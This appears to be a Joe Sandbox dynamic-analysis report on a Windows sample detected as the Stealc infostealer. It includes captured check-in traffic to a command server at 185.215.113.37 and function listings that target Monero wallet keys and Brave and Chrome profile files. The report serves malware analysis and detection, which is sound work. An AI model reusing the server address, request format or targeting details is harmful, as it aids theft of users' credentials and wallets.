Oct 8, 2024 03:22:23.676157951 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 8, 2024 03:22:23.678901911 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHIDGDHCGCBAKFHIIIII--
Oct 8, 2024 03:22:24.399305105 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:22:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	21:22:01
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1e0000
File size:	1'853'952 bytes
MD5 hash:	0E6DC441B3900CC0D53A16CD1E2D3540
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2313614753.000000000141E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2082968668.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 001F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01430738), ref: 001F98A1
GetProcAddress.KERNEL32(75900000,01430798), ref: 001F98BA
GetProcAddress.KERNEL32(75900000,01430600), ref: 001F98D2
GetProcAddress.KERNEL32(75900000,014307E0), ref: 001F98EA
GetProcAddress.KERNEL32(75900000,01430630), ref: 001F9903
GetProcAddress.KERNEL32(75900000,01438970), ref: 001F991B
GetProcAddress.KERNEL32(75900000,01426780), ref: 001F9933
GetProcAddress.KERNEL32(75900000,014269E0), ref: 001F994C
GetProcAddress.KERNEL32(75900000,01430840), ref: 001F9964
GetProcAddress.KERNEL32(75900000,01430648), ref: 001F997C
GetProcAddress.KERNEL32(75900000,014307F8), ref: 001F9995
GetProcAddress.KERNEL32(75900000,01430828), ref: 001F99AD
GetProcAddress.KERNEL32(75900000,01426860), ref: 001F99C5
GetProcAddress.KERNEL32(75900000,01430618), ref: 001F99DE
GetProcAddress.KERNEL32(75900000,01430660), ref: 001F99F6
GetProcAddress.KERNEL32(75900000,01426800), ref: 001F9A0E
GetProcAddress.KERNEL32(75900000,01430558), ref: 001F9A27
GetProcAddress.KERNEL32(75900000,01430690), ref: 001F9A3F
GetProcAddress.KERNEL32(75900000,014267C0), ref: 001F9A57
GetProcAddress.KERNEL32(75900000,014305B8), ref: 001F9A70
GetProcAddress.KERNEL32(75900000,01426760), ref: 001F9A88
LoadLibraryA.KERNEL32(01430588,?,001F6A00), ref: 001F9A9A
LoadLibraryA.KERNEL32(014305D0,?,001F6A00), ref: 001F9AAB
LoadLibraryA.KERNEL32(014305E8,?,001F6A00), ref: 001F9ABD
LoadLibraryA.KERNEL32(014306A8,?,001F6A00), ref: 001F9ACF
LoadLibraryA.KERNEL32(014306C0,?,001F6A00), ref: 001F9AE0
GetProcAddress.KERNEL32(75070000,014306D8), ref: 001F9B02
GetProcAddress.KERNEL32(75FD0000,014306F0), ref: 001F9B23
GetProcAddress.KERNEL32(75FD0000,01438E20), ref: 001F9B3B
GetProcAddress.KERNEL32(75A50000,01438C28), ref: 001F9B5D
GetProcAddress.KERNEL32(74E50000,01426740), ref: 001F9B7E
GetProcAddress.KERNEL32(76E80000,014388A0), ref: 001F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 001F9BB6

Strings

NtQueryInformationProcess, xrefs: 001F9BAA

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 32eb77194ef4984cb48aa4bdd9382295ee974b4a52703caf7d334ef8fd160a68
Instruction ID: 1c98625f794101b0500007ec4b97381ed995f27c4222bb898fab98824064359d
Opcode Fuzzy Hash: 32eb77194ef4984cb48aa4bdd9382295ee974b4a52703caf7d334ef8fd160a68
Instruction Fuzzy Hash: 4EA12BB57002409FD364EFA8EE88A6677F9F78C201784493AEE05C3264D7399467CB5E

Function 001E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 001E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4734

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ef871c56b616f87ea3f7e5fc0bc850d56216800b81c25a19d8238605e5adbbc2
Instruction ID: 9fc29752118679679a59d189fa551eebdd1058a95c75d97574600308218c5b26
Opcode Fuzzy Hash: ef871c56b616f87ea3f7e5fc0bc850d56216800b81c25a19d8238605e5adbbc2
Instruction Fuzzy Hash: 0D4112607F27546AD768BBA4B84EE9EB7665F57700F506060EA02522C3CFB06720CB36

Function 001EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00200B32,00200B2B,00000000,?,?,?,002013F4,00200B2A), ref: 001EBEF5
StrCmpCA.SHLWAPI(?,002013F8), ref: 001EBF4D
StrCmpCA.SHLWAPI(?,002013FC), ref: 001EBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 001EC7BF
FindClose.KERNEL32(000000FF), ref: 001EC7D1

Strings

Google Chrome, xrefs: 001EC634
\Brave\Preferences, xrefs: 001EC1DB
Preferences, xrefs: 001EC11E
Brave, xrefs: 001EC102

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 618d52dc54a3c91cb4b4f46698ac5ac45090955e5afb4b0b35dc807dfe236b2b
Instruction ID: ed865df4a71e8912f61217b8915b1419d387014a52d4195704f81b973467021e
Opcode Fuzzy Hash: 618d52dc54a3c91cb4b4f46698ac5ac45090955e5afb4b0b35dc807dfe236b2b
Instruction Fuzzy Hash: E64258B1910108A7CB14FB70DD96EFD737DAF64300F804568BA0E96191EF74AB59CB92

Function 6C6135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
__aulldiv.LIBCMT ref: 6C6136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C613773
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C61377E
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C6137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6137C4
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C6137CB
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C613801
__aulldiv.LIBCMT ref: 6C613883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C613902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C613918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C61394C

Strings

AuthcAMDenti, xrefs: 6C613946
QPC, xrefs: 6C6138FC
GenuntelineI, xrefs: 6C613639
